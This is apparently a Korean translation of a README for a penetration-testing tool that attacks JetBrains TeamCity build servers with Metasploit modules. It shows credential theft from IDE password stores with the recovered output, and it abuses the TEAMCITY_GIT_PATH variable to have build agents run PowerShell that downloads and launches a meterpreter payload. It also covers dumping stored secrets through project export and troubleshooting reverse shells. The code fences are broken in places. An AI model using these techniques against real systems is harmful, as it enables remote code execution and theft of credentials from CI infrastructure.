출력은 다음과 같습니다:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

8\. 모든 호환 에이전트에서 개인 맞춤 빌드 실행

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## Windows 빌드 에이전트에서의 셸

기본적으로 `Project Developer`는 빌드 단계를 수정하거나 생성할 수 없습니다.

따라서 악성 명령줄을 추가하고 실행하는 것은 불가능합니다.

Windows에서 [사용자 지정 환경 변수 ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables)를 사용하여 이를 우회할 수 있습니다. 어떻게요?

Teamcity는 [에이전트에서 git 체크아웃](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode)을 지원합니다.

빌드 단계 실행 전에 에이전트는 git 서버에서 최신 데이터를 다운로드합니다:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

![환경 변수를 사용한 빌드](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

빌드 로그에서는 다음과 같이 표시됩니다:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

이제 다음을 사용하여 로그인할 수 있습니다: `http://teamcity/login.html?super=1`

## 저장된 자격 증명

TeamCity는 `VCS root passwords`, `password parameters` 또는 `SSH keys`와 같은 항목을 암호화된 형태로 저장하며 웹 또는 API 인터페이스에서 해당 내용을 표시하지 않습니다.

하지만 `export` 기능을 사용하면 이를 우회할 수 있습니다. **내 프로젝트->Settings Export->Export**로 이동하세요.

![프로젝트 내보내기](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

이 파일들은 다음과 같습니다:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

출력은 다음과 같습니다:

| 이름 | 설명 |
|:---:|:---:|
|PROJECT_ID|프로젝트 ID를 지정합니다. 기본적으로 새 임의 프로젝트를 생성합니다|
|BUILD_TYPE_ID|빌드 유형 ID를 지정합니다. 기본적으로 새 임의 빌드 유형을 생성합니다|
|VCS_ID|VCS ID를 지정합니다. 기본적으로 새 임의 VCS를 생성합니다|
|CLEANUP|생성된 프로젝트/빌드/VCS 루트를 삭제합니다|
|SERVER_PLUGIN|[serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)의 경로|
|GIT_PATH|GIT 디렉터리의 경로|

# 문제 해결

  1. Metasploit 모듈을 로드할 수 없습니다

  `teamcity.rb`를 `~/.msf4/modules/exploits`에, `jetbrains.rb`를 `~/.msf4/modules/post` 디렉터리에 복사했는지 다시 확인하세요.
  Metasploit은 exploit 모듈이 `exploits` 디렉터리 안에, post 모듈이 `post` 디렉터리 안에 있어야 합니다.

  2. 경고! 다음 모듈을 로드할 수 없습니다! LoadError cannot load such file -- kdbx

  [kdbx 모듈](#installation)을 설치했습니까? 설치했다면 Metasploit을 종료하고 다시 실행하세요. `reload_all` 명령을 사용하세요.

  3. Mac/Linux에 설치된 IDE에서 암호를 가져올 수 없습니다

  현재는 Windows만 지원됩니다. 죄송합니다.

  4. Post failed: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operation failed: 1

  아마도 java meterpreter를 사용 중일 것입니다. 여기에는 중요한 일부 API가 없습니다. `windows/meterpreter/reverse_tcp`로 마이그레이션한 후 다시 시도하세요.

  5. SYSTEM으로 실행 중이며 데이터를 복호화할 수 없습니다

  암호가 `CryptUnprotectData` API를 사용하여 암호화되므로 디코딩 함수는 일반 사용자 계정 컨텍스트에서 실행되어야 합니다.

  6. [서버 셸](#shell-on-server)을 얻지 못합니다

  exploit을 두 번째 실행하세요.

  7. 현재 사용자에게 충분한 권한이 있어도 `teamcit.rb`가 작동하지 않습니다

  이 모듈은 사용자 지정 역할을 지원하지 않습니다.

  8. %path%에서 git을 찾을 수 없습니다. GIT_PATH를 변경하세요

  meterpreter를 호스팅할 Git Server를 설정하려면 `git` 및 `git-upload-pack` 바이너리가 필요합니다. [여기](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html)에서 아이디어를 얻었습니다.

    ```
    set GIT_PATH /your/path/to/git/dir
    ```

  9. `username:password`로 로그인할 수 없습니다

  자격 증명을 다시 확인하세요:

    set USERNAME your_user_name
    set PASSWORD your_password

  10. 서버 플러그인을 찾을 수 없습니다: %path%. SERVER_PLUGIN을 수정하세요

  [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)이 저장된 위치를 지정하세요

    set SERVER_PLUGIN /your/path/to/serverplugin.zip

  11. [-] Exploit failed: Rex::RuntimeError The supplied resource  is already added.

  `jobs -K`를 사용하여 백그라운드 작업을 종료하세요.

  12. LHOST를 특정 IP 주소에 바인딩하세요. 0.0.0.0이 아니라.

  즉, 특정 IP 주소에 바인딩하세요:  ```
  use LHOST 192.168.1.123

그런 다음 프로젝트 ID를 지정합니다:  ```
set PROJECT_ID test

set HttpTrace 1
set LogLevel 3